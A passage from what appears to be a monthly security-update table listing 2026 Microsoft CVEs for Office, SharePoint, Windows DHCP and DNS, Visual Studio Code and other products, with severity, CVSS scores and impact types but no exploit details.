Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65787\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65788\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70335\n  GitHub Copilot and\n  Visual Studio Code Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-64906\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64908\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64912\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64914\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64919\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64920\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-59136\n  Microsoft COM for\n  Windows Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54123\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62698\n  Microsoft Digest\n  Authentication Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-66301\n  Microsoft Dynamics 365\n  (On-Premises) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65815\n  Microsoft Dynamics 365\n  On-Premises Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-40375\n  Microsoft Dynamics\n  Business Central Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65673\n  Microsoft Entra\n  Connect Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-68797\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68799\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68802\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68808\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68813\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70318\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70327\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70328\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65807\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68793\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68795\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68796\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68798\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68800\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68801\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68803\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68805\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68806\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68807\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68810\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68811\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68812\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68814\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68815\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68817\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62912\n  Microsoft Exchange\n  Server Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62910\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-65813\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-62913\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62915\n  Microsoft Exchange\n  Server Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-62914\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-59133\n  Microsoft High\n  Performance Computing (HPC) Pack Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59124\n  Microsoft High\n  Performance Computing (HPC) Pack Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62784\n  Microsoft Local\n  Security Authority Server (lsasrv) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68792\n  Microsoft Office\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62842\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63517\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66809\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63524\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63529\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-64899\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70314\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70315\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70317\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70323\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63533\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64904\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65656\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65661\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57105\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-70306\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Important\n  9.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63521\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63528\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63530\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63531\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-64917\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66806\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66810\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70319\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63527\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64905\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64915\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70311\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65680\n  Microsoft OneDrive for\n  MacOS Elevation of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70329\n  Microsoft Outlook\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62882\n  Microsoft Outlook\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-70313\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70337\n  Microsoft PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70338\n  Microsoft PowerShell\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-59138\n  Microsoft Remote\n  Registry Service Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-61345\n  Microsoft Remote\n  Registry Service Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-70324\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70321\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70326\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70355\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-62837\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63514\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63520\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-64901\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65658\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65663\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66805\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66808\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58639\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62829\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62839\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62917\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63516\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64897\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64900\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64902\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64916\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64922\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-65660\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63512\n  Microsoft SharePoint\n  Server Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-65767\n  Microsoft Teams for\n  Android and iOS Spoofing Vulnerability\n  Important\n  8.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-65769\n  Microsoft Teams iOS\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65768\n  Microsoft Teams Remote\n  Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66804\n  Microsoft Windows\n  Cross Device Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59135\n  Microsoft Windows\n  Search Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65814\n  Microsoft Windows\n  Storage Port Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70310\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58651\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-6726 *\n  MITRE: CVE-2026-6726\n  TPM 2.0 Improper Object Slot Reuse\n  Important\n  7.9\n  No\n  No\n  \n \n \n  CVE-2026-6727 *\n  MITRE: CVE-2026-6727\n  TPM 2.0 RSA OAEP Timing Side-Channel Vulnerability\n  Important\n  5.9\n  No\n  No\n  \n \n \n  CVE-2026-65811\n  Power BI Remote Code\n  Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68809\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70312\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70316\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70320\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70322\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70325\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59119\n  PowerShell Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58612\n  PowerShell Information\n  Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-65671\n  Remote Access API\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65672\n  Remote Access API\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-42976\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59134\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61352\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61363\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-54113\n  Remote Procedure Call\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62781\n  RPC Runtime Library\n  Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-59125\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-47285\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54981\n  Visual Studio Code\n  Python Extension Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-59113\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-69320\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70336\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58650\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-69278\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-69306\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-62743\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62746\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62786\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62798\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61358\n  Windows Accessibility\n  Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49179\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61348\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70307\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65778\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65779\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65780\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65781\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65782\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65783\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62908\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61927\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61934\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62705\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62722\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62713\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62771\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62728\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62772\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62775\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-72971\n   Windows Container Isolation FS Filter Driver\n  (unionfs.sys) Tampering Vulnerability\n  Important\n  5.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-61936\n  Windows Defender\n  Firewall Service Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-62710\n  Windows Device\n  Association Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62747\n  Windows Device\n  Association Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65785\n  Windows DHCP Client\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62736\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62755\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61361\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  RCE\n \n \n  CVE-2026-62761\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62776\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62803\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62807\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62812\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62714\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62715\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62716\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62718\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62720\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62742\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62745\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62814\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61923\n  Windows Display\n  Enhancement Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62769\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62778\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-62881\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62883\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65795\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65797\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65798\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65799\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70304\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70330\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61920\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-62787\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61932\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62888\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62894\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61933\n  Windows DWM Core\n  Library Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62703\n  Windows DWM Core\n  Library Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59128\n  Windows Encrypting\n  File System (EFS) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59126\n  Windows Event Logging\n  Service Elevation of Privilege Vulnerability\n  